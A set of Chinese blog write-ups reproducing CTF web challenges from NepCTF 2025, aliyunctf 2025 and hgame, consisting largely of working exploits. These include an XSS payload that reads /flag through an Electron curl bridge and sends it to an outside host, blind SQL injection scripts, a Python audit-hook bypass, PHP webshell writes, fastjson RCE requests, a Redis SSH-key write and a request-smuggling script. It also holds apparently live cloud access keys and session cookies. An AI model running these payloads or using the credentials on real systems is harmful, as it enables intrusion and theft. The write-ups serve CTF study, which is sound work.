        print(f"Bucket '{bucket}' information retrieved successfully:")
        print(response)
 
        # Print object keys if available
        if 'Contents' in response:
            for i, obj in enumerate(response['Contents']):
                print(f"{i+1}. {obj['Key']}")
 
        return response
    except Exception as e:
        print(f"Exception occurred while getting bucket info: {e}")
        return None
 
if __name__ == "__main__":
    # Input bucket info
    REGION = "ap-guangzhou"
    BUCKET = "test-1360802834"
    SECRET_ID = "AKID9zMxupjxlb3N4ew3HFlEoUuLbw6PfzWlJwlohod5utGR8YPMk0BzFc52_i_c7GJ"
    SECRET_KEY = "a1mB43BS4VNOUx4qdWSZcLw6MTCsmflnu1VjVIAQjdU="
    TOKEN = (
        "0TiYj7xc2u1d126cihcnHaKUjpRmygCa4110e1bc77e4c6cf6b645ec9100602390NgBtUSdkbd2I2"
        "a5Pme0s8bTqHTFJP-by2EO8Jjp1Eo6y8N1-yNztj7rCQTf2YhKirVFbmYPedQCT8ZtcsWP8yekf"
        "w4WgwcfVcy3nsoNUKC37YT9_hllr2BN2wfaModBPDSAZuQ_MTzjsiHb2qQOj_e6Fd0LckMhLK_x5e"
        "aSU42p_QU8FwSDf3u5M8XBZSYx_iCIRVV0Ji5LSLsiqjnEoH3HSGZZuzcIaeNy2OhqbjNM10QM"
        "hNrUxE3wCovGONgt8BV96__DwgSZefQNW0cOVVQLIsdIKm2wXVz_9kcjNoxGH01Rh8reFzUeBitqqW7"
        "KcH7DNCMwIC5O7WcfjIitTHOrmIy9dsx21YZbEeISdQkShKFcATe2o4WWu0sdTkeQpsZ3"
        "ihQm46yetgA0Y8QOqc40SvbO3OdlhMMLw3Gkoy6VbLrTLpGVYn0_cp4Z7DdCZaQrUR0ehi7FOCXSwQ"
    )
 
    # Get bucket info using temporary credentials
    get_bucket_info(REGION, BUCKET, SECRET_ID, SECRET_KEY, TOKEN)

iframe 的 URL 直接做拼接，这里存在 xss

这里也可以传入 fileurl

再看一下 bot，注释说 bot 会使⽤客⼾端访问，所以下载客户端看一下

给了一个 exe 是 electron 打包的，解压后提取 app.asar 就能得到源码

const { app, BrowserWindow, ipcMain } = require('electron');
const path = require('path');
const { exec } = require('child_process');
 
let mainWindow = null;
 
function createWindow() {
  mainWindow = new BrowserWindow({
    width: 1600,
    height: 1200,
    webPreferences: {
      preload: path.join(__dirname, 'preload.js'),
      contextIsolation: true,
    }
  });
 
  // 默认加载本地输入页面
  mainWindow.loadFile('index.html');
}
 
app.whenReady().then(createWindow);
 
// 接收用户输入的地址并加载它
ipcMain.handle('load-remote-url', async (event, url) => {
 
  if (mainWindow) {
    mainWindow.loadURL(url);
  }
});
 
ipcMain.handle('curl', async (event, url) => {
  return new Promise((resolve) => {
 
    const cmd = `curl -L "${url}"`;
 
    exec(cmd, (error, stdout, stderr) => {
      if (error) {
        return resolve({ success: false, error: error.message });
      }
      resolve({ success: true, data: stdout });
    });
  });
});

这里有一个原生 curl 我们直接可以用这个去打 ssrf，所以总体的思路如下：使用 window.electronAPI.curl 触发 xss=>/api/bot 访问 => 外带 / 回显到网页（/api/users）中，另外可以通过两个路径，可以直接通过 uploads / 那个路径走，或者直接通过 api/set-login-bg 都可以

# uploads外带
uploads/1f1eb21d-a0c9-441a-941b-c37498c3bcb8/微信图片_2025-07-16_112547_870.jpg?a=1\" onload=\"window.electronAPI.curl('file:///flag').then(result =>{window.location.href='https://mak4r1.com/xss.php?a=test'+result.data});
 
# uploads回显到网页中
uploads/f329a942-bd2e-4902-bc83-add5e4df0094/微信图片_2025-07-16_112547_870.jpg?a=1\" onload=\"window.electronAPI.curl('file:///flag').then(result => { fetch('/api/login',{method:'POST',headers:{'ContentType':'application/json'},credentials:'include',body:JSON.stringify({username:'admin',password:'nepn3pctf-game2025'})}).then(()=>fetch('/api/save-bio',{method:'POST',headers:{'ContentType':'application/json'},credentials:'include',body:JSON.stringify({bio:result
 .data})}));});
 
# lamentxu师傅另一个路由回显到网页中
POST /api/set-login-bg HTTP/1.1
Host: nepctf30-yfrc-xj2l-l3y8-z9ogmlq6d745.nepctf.com
Cookie: connect.sid=s%3Ao93qeMzwrfLvUBBxG94TsMckuo9-LdG0.97efDsrL5mM5bEOghQuLC1KUgn3CE4j9NEZpmQuTCes
Content-Type: application/json
Content-Length: 327
 
{"key":"x\" onload=\"document.cookie='connect.sid=s%3Ao93qeMzwrfLvUBBxG94TsMckuo9-LdG0.97efDsrL5mM5bEOghQuLC1KUgn3CE4j9NEZpmQuTCes';window.electronAPI.curl('file:///flag').then(data=>{fetch('/api/save-bio',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({'bio':JSON.stringify(data)})})})\" x=\""}

据说是环境有些问题，我复现一直没成功。

0x05 我难道不是 sql 注入天才吗

又是一个没有接触过的数据库

通过传入 1 、2 、3 等等可以输出 id 为相应值的结果，传入 id 发现输出了所有用户数据。

单引号报错了

漏洞语句为

`1`	`SELECT * FROM users WHERE id = {user_input} FORMAT JSON`

先用 FROM table select 绕过 select from

一般认为没有括号就无法进行子查询，所以这里的思路只能是利用 union、intersect、except 中的一个进行查询拼接（mysql8 高版本也支持）

1
2
3

select * from users where id=1 
intersect 
from system.databases select 1,'User_1','user1@example.com',44 where name>'abc'

当数据库名大于字符串 abc，就会返回 User_1 的信息，不大于就会报错，利用这一点可以注⼊出库名了，那么表名，列名呢？我们注入表名列名需要使用如下语句

select * from users where id=1 
intersect 
from system.tables select 1,'User_1','user1@example.com',44 where 
database='nepnep' and name > 'abc'

再利用操作符 a ? b : c 绕过 or 和 and

最终 payload 模板：

`1`	`1 intersect from system.tables select 1,'User_1','user1@example.com',44 where database='nepnep'?name>'abc':0`

还有一种群里师傅的模板，不过是时间盲注没有官方 wp 中布尔盲注效率高

`1`	`id INTERSECT FROM system.databases AS inject JOIN users ON inject.name LIKE '{pattern}'SELECT users.id, users.name, users.email, users.age"`

官方 exp 如下：

import requests
 
url = ''
flag = ''
 
for i in range(1, 50):
    left = 1
    right = 129
    while right - left != 1:
        mid = (left + right) // 2
 
        # 这里是不同的爆破目标，可以根据需要切换
        # 爆破数据库名
        # data = {
        #     'id': "1 intersect from system.databases select "
        #           "1,'User_1','user1@example.com',44 where name>'{mid}' limit 1,1"
        #           .format(mid=flag + chr(mid))
        # }
 
        # 爆破表名（database='nepnep'）
        # data = {
        #     'id': "1 intersect from system.tables select "
        #           "1,'User_1','user1@example.com',44 where database='nepnep' and name>'{mid}'"
        #           .format(mid=flag + chr(mid))
        # }
 
        # 爆破字段名（table='nepnep'）
        # data = {
        #     'id': "1 intersect from system.columns select "
        #           "1,'User_1','user1@example.com',44 where table='nepnep' and name>'{mid}' limit 2,1"
        #           .format(mid=flag + chr(mid))
        # }
 
        # 爆破数据（字段名为 51@g_ls_h3r3）
        data = {
            'id': "1 intersect from nepnep.nepnep select "
                  "1,'User_1','user1@example.com',44 where `51@g_ls_h3r3` > '{mid}'"
                  .format(mid=flag + chr(mid))
        }
 
        r = requests.post(url=url, data=data)
 
        if '未找到ID' not in r.text:
            left = mid
        else:
            right = mid
 
    flag += chr(left)
    print(flag.encode())

0x06 参考链接

非常感谢这几位师傅的博客，对我复现有很大帮助。

https://dwd.moe/post/nepctf-2025

https://www.cnblogs.com/LAMENTXU/articles/19007988

NepCTF2025-web-writeup_强网杯 s8 jsonpickle-CSDN 博客

aliyunctf 2025 web 部分复现

Wed, 26 Feb 2025 16:46:00 +0800

前言

还是太菜了，比赛直接爆 0 了，挑其中能看懂的题目复现一下。

ezoj

访问 /source 得到源码

import os
import subprocess
import uuid
import json
from flask import Flask, request, jsonify, send_file
from pathlib import Path
 
app = Flask(__name__)
 
SUBMISSIONS_PATH = Path("./submissions")
PROBLEMS_PATH = Path("./problems")
 
SUBMISSIONS_PATH.mkdir(parents=True, exist_ok=True)
 
CODE_TEMPLATE = """
import sys
import math
import collections
import queue
import heapq
import bisect
 
def audit_checker(event,args):
    if not event in ["import","time.sleep","builtins.input","builtins.input/result"]:
        raise RuntimeError
 
sys.addaudithook(audit_checker)
 
 
"""
 
 
class OJTimeLimitExceed(Exception):
    pass
 
 
class OJRuntimeError(Exception):
    pass
 
 
@app.route("/")
def index():
    return send_file("static/index.html")
 
 
@app.route("/source")
def source():
    return send_file("server.py")
 
 
@app.route("/api/problems")
def list_problems():
    problems_dir = PROBLEMS_PATH
    problems = []
    for problem in problems_dir.iterdir():
        problem_config_file = problem / "problem.json"
        if not problem_config_file.exists():
            continue
 
        problem_config = json.load(problem_config_file.open("r"))
        problem = {
            "problem_id": problem.name,
            "name": problem_config["name"],
            "description": problem_config["description"],
        }
        problems.append(problem)
 
    problems = sorted(problems, key=lambda x: x["problem_id"])
 
    problems = {"problems": problems}
    return jsonify(problems), 200
 
 
@app.route("/api/submit", methods=["POST"])
def submit_code():
    try:
        data = request.get_json()
        code = data.get("code")
        problem_id = data.get("problem_id")
 
        if code is None or problem_id is None:
            return (
                jsonify({"status": "ER", "message": "Missing 'code' or 'problem_id'"}),
                400,
            )
 
        problem_id = str(int(problem_id))
        problem_dir = PROBLEMS_PATH / problem_id
        if not problem_dir.exists():
            return (
                jsonify(
                    {"status": "ER", "message": f"Problem ID {problem_id} not found!"}
                ),
                404,
            )
 
        code_filename = SUBMISSIONS_PATH / f"submission_{uuid.uuid4()}.py"
        with open(code_filename, "w") as code_file:
            code = CODE_TEMPLATE + code
            code_file.write(code)
 
        result = judge(code_filename, problem_dir)
 
        code_filename.unlink()
 
        return jsonify(result)
 
    except Exception as e:
        return jsonify({"status": "ER", "message": str(e)}), 500
 
 
def judge(code_filename, problem_dir):
    test_files = sorted(problem_dir.glob("*.input"))
    total_tests = len(test_files)
    passed_tests = 0
 
    try:
        for test_file in test_files:
            input_file = test_file
            expected_output_file = problem_dir / f"{test_file.stem}.output"
 
            if not expected_output_file.exists():
                continue
 
            case_passed = run_code(code_filename, input_file, expected_output_file)
 
            if case_passed:
                passed_tests += 1
 
        if passed_tests == total_tests:
            return {"status": "AC", "message": f"Accepted"}
        else:
            return {
                "status": "WA",
                "message": f"Wrang Answer: pass({passed_tests}/{total_tests})",
            }
    except OJRuntimeError as e:
        return {"status": "RE", "message": f"Runtime Error: ret={e.args[0]}"}
    except OJTimeLimitExceed:
        return {"status": "TLE", "message": "Time Limit Exceed"}
 
 
def run_code(code_filename, input_file, expected_output_file):
    with open(input_file, "r") as infile, open(
        expected_output_file, "r"
    ) as expected_output:
        expected_output_content = expected_output.read().strip()
 
        process = subprocess.Popen(
            ["python3", code_filename],
            stdin=infile,
            stdout=subprocess.PIPE,
            stderr=subprocess.PIPE,
            text=True,
        )
 
        try:
            stdout, stderr = process.communicate(timeout=5)
        except subprocess.TimeoutExpired:
            process.kill()
            raise OJTimeLimitExceed
 
        if process.returncode != 0:
            raise OJRuntimeError(process.returncode)
 
        if stdout.strip() == expected_output_content:
            return True
        else:
            return False
 
 
if __name__ == "__main__":
    app.run(host="0.0.0.0", port=5000)

每次执行脚本都会加一个代码模板，并保存到一个新文件执行代码，看一下代码模板

CODE_TEMPLATE = """
import sys
import math
import collections
import queue
import heapq
import bisect
 
def audit_checker(event,args):
    if not event in ["import","time.sleep","builtins.input","builtins.input/result"]:
        raise RuntimeError
 
sys.addaudithook(audit_checker)
 
 
"""

只有特定的钩子事件才会被通过，使用_posixsubprocess 模块可以进行绕过，_posixsubprocess.fork_exec 是 CPython 内部实现子进程的底层函数，属于未暴露给标准审计事件的底层调用。它直接通过系统调用（如 fork 和 execve）操作，绕过了高层抽象（如 subprocess 模块），因此不会触发类似 “subprocess.popen” 的审计事件。

官方 wp 的做法

在_posixsubprocess 源码中可以发现 c2pwrite 参数会重定向到子进程的标准输出

if (c2pwrite == 1) {
        if (_Py_set_inheritable_async_safe(c2pwrite, 1, NULL) < 0)
            goto error;
    }
    else if (c2pwrite != -1)
        POSIX_CALL(dup2(c2pwrite, 1));  /* stdout */

脚本如下：执行命令并将结果写入到退出码中（Runtime Error: ret=?）

import requests
 
URL = "http://url/api/submit"
CODE_TEMPLATE = """
import _posixsubprocess
import os
import time
import sys
 
std_pipe = os.pipe()
err_pipe = os.pipe()
 
_posixsubprocess.fork_exec(
    (b"/bin/bash",b"-c",b"cat /flag*"),
    [b"/bin/bash"],
    True,
    (),
    None,
    None,
    -1,
    -1,
    -1,
    std_pipe[1], #c2pwrite
    -1,
    -1,
    *(err_pipe),
    False,
    False,
    False,
    None,
    None,
    None,
    -1,
    None,
    False,
)
//由于os.read可能会将程序卡住，因此在os.read之前先sleep一下 
time.sleep(0.1)
content = os.read(std_pipe[0],1024)
content_len = len(content)
 
if {loc} < content_len:
    sys.exit(content[{loc}])
else:
    sys.exit(255)
"""
 
command="cat /flag*"
received = ""
 
for i in range(254):
    code = CODE_TEMPLATE.format(loc=i,command=command)
    data = {"problem_id":0,"code":code}
    resp = requests.post(URL,json=data)
    resp_data = resp.json()
    assert(resp_data["status"] == "RE")
    ret_loc = resp_data["message"].find("ret=")
    ret_code = resp_data["message"][ret_loc+4:]
    if ret_code == "255":
        break
    received += chr(int(ret_code))
    print(received)

baozongwi 师傅的解法

是利用的（Time Limit Exceed）时间盲注。

import requests
url="http://url/api/submit"
target="aliyunctf{"
char_set = "abcdef0123456789{}-ghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
for i in range(11,50):
    for j in char_set:
        payload=f"print(sum(map(int, input().split())))\nimport os\nimport _posixsubprocess\n_posixsubprocess.fork_exec([b\"/bin/bash\",\"-c\",\"if [ $(head -n 1 /f* | cut -c {i}) == '{j}' ]; then sleep 5; fi;\"], [b\"/bin/bash\"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False,False, None, None, None, -1, None, False)"
        burp0_json={"problem_id":"0","code": payload,}
 
        print(j)
        r=requests.post(url,json=burp0_json)
        if "Time Limit Exceed" in r.text:
            print(f"第{i}个字符是{j}")
            target+=j
            break
            print(target)

打卡 ok

首先是～源码泄露，只要知道文件名，后面加一个～就可以读取到内容

但是找了好几个文件就找到一个数据库账号密码

看了别人的 wp 才知道，是在 ok.php 里，有点逆天

访问 adminer_481.php 可以进入到 adminer 后台

非预期

存在弱口令 root/root 可以直接进入后台并写马

`1`	`select "<?php @eval($_POST['cmd']);?>" into outfile "/var/www/html/shell.php";`

蚁剑连接即可（如果是 web 用户的话，则没有权限写）

预期

利用 web 身份登录后台数据库后，随便修改一个账号密码，看 pass.php~ 和 login.php~ 就可以找到加密逻辑（codes 是盐值拼接在密码的前面，然后 md5 存入数据库）

1
2

MD5 ("12345asdasdasdasdad") = 5d710c8773a7415726cd25b3ffebfa3e
5d710c8773a7415726cd25b3ffebfa3e:12345 //asdasdasdasdad

查看源码：

include './cache.php';
$check=new checkin();
if(isset($_POST['reason'])){
    if(isset($_GET['debug_buka']))
    {
        $time=date($_GET['debug_buka']);
    }else{
        $time=date("Y-m-d H:i:s");
    }
    $arraya=serialize(array("name"=>$_SESSION['username'],"reason"=>$_POST['reason'],"time"=>$time,"background"=>"ok"));
    $check->writec($_SESSION['username'].'-'.date("Y-m-d"),$arraya);
}
if(isset($_GET['check'])){
    $cachefile = '/var/www/html/cache/' . $_SESSION['username'].'-'.date("Y-m-d"). '.php';
    if (is_file($cachefile)) {
        $data=file_get_contents($cachefile);
        $checkdata = unserialize(str_replace("<?php exit;//", '', $data));
        $check="/var/www/html/".$checkdata['background'].".php";
        include "$check";
    }else{
        include 'error.php';
    }
}
?>

下面就没咋看懂了，pearcmd 倒是见过，不知道在这里为什么要用它，贴上官方 payload:

//date函数反序列化绕过
POST /index.php?debug_buka=%5c%31%5c%32%5c%33%5c%78%5c%78%5c%78%5c%78%5c%22%5c%3b%5c%73%5c%3a%5c%34%5c%3a%5c%22%5c%74%5c%69%5c%6d%5c%65%5c%22%5c%3b%5c%73%5c%3a%5c%32%5c%3a%5c%22%5c%31%5c%32%5c%22%5c%3b%5c%73%5c%3a%5c%31%5c%30%5c%3a%5c%22%5c%62%5c%61%5c%63%5c%6b%5c%67%5c%72%5c%6f%5c%75%5c%6e%5c%64%5c%22%5c%3b%5c%73%5c%3a%5c%34%5c%33%5c%3a%5c%22%5c%2e%5c%2e%5c%2f%5c%2e%5c%2e%5c%2f%5c%2e%5c%2e%5c%2f%5c%2e%5c%2e%5c%2f%5c%2e%5c%2e%5c%2f%5c%2e%5c%2e%5c%2f%5c%75%5c%73%5c%72%5c%2f%5c%6c%5c%6f%5c%63%5c%61%5c%6c%5c%2f%5c%6c%5c%69%5c%62%5c%2f%5c%70%5c%68%5c%70%5c%2f%5c%70%5c%65%5c%61%5c%72%5c%63%5c%6d%5c%64%22%5c%3b%5c%7d HTTP/1.1
Host: 192.168.10.100:50100
Content-Length: 53
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Origin: http://192.168.10.100:50100
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=fpd8m225h699b4o6stpja3vtcc; adminer_version=4.8.1
x-forwarded-for: localhost
Connection: close
 
reason=%3C%3Fphp+exit%3B%2F%2F%3C%3Fphp+exit%3B%2F%2F

POST /index.php?check&+config-create+/<?=@eval($_GET[1]);?>+/var/www/html/hello.php HTTP/1.1
Host: 172.16.2.72:5898
Content-Length: 7
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36
Origin: http://172.16.2.72:5398
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://172.16.2.72:5398/index.php?check/?+config-create+/%3C?=phpinfo()?%3E+/var/www/html/hello.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=inns5m7uhe0i3d9d19dtgcmsj2; adminer_version=4.8.1
x-forwarded-for: localhost
Connection: close
 
check=1

发包注意 url 编码的问题

hgame week2 web 复现

Thu, 20 Feb 2025 21:14:00 +0800

前言

hgame week2 的题还是太吃操作了，几乎零解，跟着官 p 学习一下吧

HoneyPot && revenge

因为这道题被非预期了，所以出了个 revenge，但是不影响他仍然是个烂题，先看一下他的漏洞代码：

config.RemoteHost = sanitizeInput(config.RemoteHost)
config.RemoteUsername = sanitizeInput(config.RemoteUsername)
config.RemoteDatabase = sanitizeInput(config.RemoteDatabase)
config.LocalDatabase = sanitizeInput(config.LocalDatabase)
command := fmt.Sprintf("/usr/local/bin/mysqldump -h %s -u %s -p%s %s |/usr/local/bin/mysql -h 127.0.0.1 -u %s -p%s %s",
		config.RemoteHost,
		config.RemoteUsername,
		config.RemotePassword,
		config.RemoteDatabase,
		localConfig.Username,
		localConfig.Password,
		config.LocalDatabase,
	)
	fmt.Println(command)
	cmd := exec.Command("sh", "-c", command)
	if err := cmd.Run(); err != nil {
		c.JSON(http.StatusInternalServerError, gin.H{
			"success": false,
			"message": "Failed to import data: " + err.Error(),
		})
		return
	}

非预期是没有对 RemotePassword 参数做过滤，直接打堆叠即可：

// /api/import post请求
{
"remote_host": "8.154.18.17",
"remote_port": "3306",
"remote_username": "root",
"remote_password": "; /writeflag ;#",
"remote_database": "mydb",
"local_database": "aaa"
}

那么出题的本意是什么呢，CVE-2024-21096 mysqldump 命令注⼊，这个博客介绍的很详细，或者去看官 p，但是用这个出题简直烂到家了，利用条件苛刻得要命，复现还难如登天。居然要源码编译 MySQL？我本地 Ubuntu 直接崩了，几十个 G 的依赖，编译四个小时直接卡死。另一种蜜罐模拟更离谱，一直报错，估计出题人自己都没搞明白吧，官方 POC 都没有。

虽然是烂题但是我看到一个群友说可以做一个端口转发，听不来不错，我决定尝试一下：

`1`	`ssh -R [远程服务器端口]:localhost:[本地虚拟机端口] [远程服务器用户]@[远程服务器ip/域名]`

注意：/ 需要配置 /etc/ssh/sshd_config 中 GatewayPorts yes，没有就添加这一行，随后重启 sudo systemctl restart sshd，如果没有这个设置，还是不会出网，只会监听服务器本地，如图所示还是没出网

设置完后就可以了

使用 SSH 隧道建立一个反向代理连接，解决本地虚拟机不能出网的问题，在这里可以在本地编译完恶意的 mysql（我就不演示了），再通过服务器进行转发。

还有一种直接改包的方法我还没有复现成功（貌似是因为我的版本号太短了），放上群友的脚本

import asyncio
 
# 用wireshark，发现我这边的mysql服务器一开始会传出这个
# 把它换掉
# 重新编译是最稳的方案
HEADER_OLD = b"c\x00\x00\x00\n5.5.5-10.11.6-MariaDB-0+deb12u1"
HEADER_NEW = b"c\x00\x00\x00\n5.5.5-10.11.6-Ma\n\\! /writeflag\n"
 
IN_HOST, IN_PORT = "localhost", 3306
OUT_HOST, OUT_PORT = "localhost", 9999
 
async def client_connect(reader, writer):
    s_reader, s_writer = await asyncio.open_connection(host=IN_HOST, port=IN_PORT)
 
    async def writeout():
        out = await s_reader.read(len(HEADER_OLD))
        print(">?", out)
        assert out == HEADER_OLD
        assert len(HEADER_OLD) == len(HEADER_NEW)
        out = HEADER_NEW
        print(">!", out)
        writer.write(out)
 
        while not s_reader.at_eof() and not writer.is_closing():
            out = await s_reader.read(1)
            # print(">", out)
            writer.write(out)
 
    async def readin():
        while not reader.at_eof() and not s_writer.is_closing():
            out = await reader.read(1)
            # print("<", out)
            s_writer.write(out)
 
    await asyncio.gather(writeout(), readin())
 
 
async def main():
    server = await asyncio.start_server(client_connect, host=OUT_HOST, port=OUT_PORT, reuse_address=True)
    async with server:
        await server.serve_forever()
 
 
if __name__ == "__main__":
    asyncio.run(main())

我来补充了：终于用这个脚本成功了，还需要调整一点（稍微长一点的版本号都是可以的，自己本地 mysqldump 再用 wireshark 抓一下就知道了）

1
2

HEADER_OLD = b"T\x00\x00\x00\n11.4.4-MariaDB-3\x00"
HEADER_NEW = b"T\x00\x00\x00\n11\n\\! /writeflag\x00"

大致流程就是：本地的 mysql (3306)=> 通过脚本抓包，然后改掉版本号转发到 9999 端口上 => 再通过 ssh 转发 9999 到服务器上的 3306（题目有点问题，所以只能用 3306 端口）=> 题目服务器导入版本号执行命令

还有一点要注意就是数据库东西不能太多了（不知道为什么导入一半就停了），最好是一个空的数据库。还是要感谢有两位师傅一直耐心指导我！！！

SigninJava

纯 java 小白，只能通过 gpt 来看懂代码

jadx 反编译可以看到只有一个 /api/gateway 路由

@RequestMapping({"/api"})
@Controller
/* loaded from: SigninJava.jar:BOOT-INF/classes/icu/Liki4/signin/controller/APIGatewayController.class */
public class APIGatewayController {
    @RequestMapping(value = {"/gateway"}, method = {RequestMethod.POST})
    @ResponseBody
    public BaseResponse doPost(HttpServletRequest request) throws Exception {
        try {
            String body = IOUtils.toString(request.getReader());
            Map<String, Object> map = (Map) JSON.parseObject(body, Map.class);
            String beanName = (String) map.get("beanName");
            String methodName = (String) map.get(JsonEncoder.METHOD_NAME_ATTR_NAME);
            Map<String, Object> params = (Map) map.get("params");
            if (StrUtil.containsAnyIgnoreCase(beanName, "flag")) {
                return new BaseResponse(403, "flagTestService offline", null);
            }
            Object result = InvokeUtils.invokeBeanMethod(beanName, methodName, params);
            return new BaseResponse(200, null, result);
        } catch (Exception e) {
            return new BaseResponse(500, ((Throwable) Objects.requireNonNullElse(e.getCause(), e)).getMessage(), null);
        }
    }
}

检查了 flag，那么 FlagTestService 是不能用的，还注意到了 beanName,method,params 三个可控参数，所以再看一下 InvokeUtils.invokeBeanMethod

public static Object invokeBeanMethod(String beanName, String methodName, Map<String, Object> params) throws Exception {
 
        Object beanObject = SpringContextHolder.getBean(beanName);
 
        Method beanMethod = (Method) Arrays.stream(beanObject.getClass().getMethods()).filter(method -> {
 
            return method.getName().equals(methodName);
 
        }).findFirst().orElse(null);
 
        if (beanMethod.getParameterCount() == 0) {
 
            return beanMethod.invoke(beanObject, new Object[0]);
 
        }
 
        String[] parameterTypes = new String[beanMethod.getParameterCount()];
 
        Object[] parameterArgs = new Object[beanMethod.getParameterCount()];
 
        for (int i = 0; i < beanMethod.getParameters().length; i++) {
 
            Class<?> parameterType = beanMethod.getParameterTypes()[i];
 
            String parameterName = beanMethod.getParameters()[i].getName();
 
            parameterTypes[i] = parameterType.getName();
 
            if (!parameterType.isPrimitive() && !Date.class.equals(parameterType) && !Long.class.equals(parameterType) && !Integer.class.equals(parameterType) && !Boolean.class.equals(parameterType) && !Double.class.equals(parameterType) && !Float.class.equals(parameterType) && !Short.class.equals(parameterType) && !Byte.class.equals(parameterType) && !Character.class.equals(parameterType) && !String.class.equals(parameterType) && !List.class.equals(parameterType) && !Set.class.equals(parameterType) && !Map.class.equals(parameterType)) {
 
                if (params.containsKey(parameterName)) {
 
                    parameterArgs[i] = JSON.parseObject(JSON.toJSONString(params.get(parameterName)), (Class) parameterType, autoTypeFilter, new JSONReader.Feature[0]);
 
                } else {
 
                    try {
 
                        parameterArgs[i] = JSON.parseObject(JSON.toJSONString(params), (Class) parameterType, autoTypeFilter, new JSONReader.Feature[0]);
 
                    } catch (JSONException e) {
 
                        for (Map.Entry<String, Object> entry : params.entrySet()) {
 
                            Object value = entry.getValue();
 
                            if ((value instanceof String) && ((String) value).contains("\"")) {
 
                                params.put(entry.getKey(), JSON.parse((String) value));
 
                            }
 
                        }
 
                        parameterArgs[i] = JSON.parseObject(JSON.toJSONString(params), (Class) parameterType, autoTypeFilter, new JSONReader.Feature[0]);
 
                    }
 
                }
 
            } else {
 
                parameterArgs[i] = params.getOrDefault(parameterName, null);
 
            }
 
        }
 
        return beanMethod.invoke(beanObject, parameterArgs);
 
    }

可以看到 fastjson 反序列化时无任何过滤，所以可以注册一个危险类和方法进行 rce，这里是使用 cn.hutool（因为有代码调用了这个类）

先动态注册恶意 bean

{
  "beanName": "cn.hutool.extra.spring.SpringUtil",
  "methodName": "registerBean",
  "params": {
    "arg0": "execCmd",
    "arg1": {
      "@type": "cn.hutool.core.util.RuntimeUtil"
    }
  }
}

调用注册类的方法就可以进行 rce 了

{
  "beanName": "execCmd",
  "methodName": "execForStr",
  "params": {
    "arg0": "utf-8",
    "arg1": ["/readflag"]
  }
}

日落的紫罗兰

题目给了两个端口，一个是 ssh 另一个是 redis，很经典的 redis 写 ssh 公钥

ssh-keygen -t rsa -f ./1
 
(echo -e “\n\n”; cat ./1.pub; echo -e “\n\n”) > spaced_key.txt
 
cat spaced_key.txt |redis-cli -h [ip] -p [port] -x set ssh_key
 
redis-cli -h [ip] -p [port]
 
config set dir /home/mysid/.ssh  //这个用户名是根据给的user.txt试出来的
 
config set dbfilename "authorized_keys"
 
save
 
exit
 
ssh -i 1 mysid@[ip] -p [port]  //可以用私钥直接连接ssh服务器了

还需要提权，常规的都不能用，于是执行 ps -aux，发现有一个 root 运行的 java 应用，scp 提取出来分析一下

public class MainController {
 
    @Autowired
    private LdapLookupService ldapLookupService;
 
    @GetMapping({"/"})
    public String index() {
        return "Under build...";
    }
 
    @PostMapping({"/search"})
    public ResponseEntity<List<String>> lookupLdap(@RequestParam String baseDN, @RequestParam String filter) {
        List<String> results = this.ldapLookupService.search(baseDN, filter);
        if (results.isEmpty()) {
            return ResponseEntity.noContent().build();
        }
        return ResponseEntity.ok(results);
    }
}

只有两个路由，然后注意到了

貌似就是 JNDI 注入，直接打就行，我还是选择使用工具（传到题目服务器上），因为还不是很熟 java 的漏洞

这时的 flag 就可读了

不存在的车厢

整数溢出协议走私，没怎么看懂先放在这里。

看了一个师傅的 wp 后，恍然大悟。

后端（监听在 8080 端口）/flag 路由只能接受 post 请求，而代理（监听在 8081 端口）通过一个自定义的 H111 协议与后端通信，只能接受 get 请求，二者产生了矛盾，所以要用到协议走私。

在 H111 协议中，请求体的长度以一个 16 位无符号整数（uint16）写入，这意味着如果构造的 HTTP 请求其 body 长度超过 65535 字节，实际写入的长度会发生 MOD 2^16 运算（即取低 16 位）。

if req.Body != nil {
    body, err := io.ReadAll(req.Body)
    // …
    if err := binary.Write(writer, binary.BigEndian, uint16(len(body))); err != nil { … }
    writer.Write(body)
} else {
    binary.Write(writer, binary.BigEndian, uint16(0))
}

同时注意到后端的处理逻辑采用了一个无限循环：

for {
    req, err := h111.ReadH111Request(conn)
    if err != nil { … }
    // 用 httptest.NewRecorder 调用 mux.ServeHTTP
    // 将响应写回 conn
}

也就是说，只要 TCP 连接上还有数据，后端就会继续调用 ReadH111Request 来解析 “下一条” 请求。而代理端对与后端连接进行了复用，因此只要某个连接中残留了数据，就可能在下一次请求时被读取并当作一个完整的新请求处理。

攻击链：构造一个超长 GET 请求，总长度 B 超过 65535 字节 => 利用长度字段溢出制造出数据残留 => 将走私数据拼接在超长 GET 请求的尾部（post /flag）

放在师傅的 exp:

#!/usr/bin/env python3
import socket
import struct
 
def build_smuggled_request():
    method = b"POST"
    uri = b"/flag"
    header_count = 0
    fixed_part = (
        struct.pack(">H", len(method)) + method +
        struct.pack(">H", len(uri)) + uri +
        struct.pack(">H", header_count)
    )
    # body_size 为 65536 - 固定部分（17 字节） - 2 字节 body 长度字段
    body_size = 65536 - (len(fixed_part) + 2)
    # 构造 body，此处填充 A 字符
    body = b"A" * body_size
 
    # 构造 body 部分：先写 2 字节的 body 长度（body_size，uint16），再写 body 内容
    body_part = struct.pack(">H", body_size) + body
 
    smuggled = fixed_part + body_part
    assert len(smuggled) == 65536, f"smuggled length = {len(smuggled)} != 65536"
    return smuggled
 
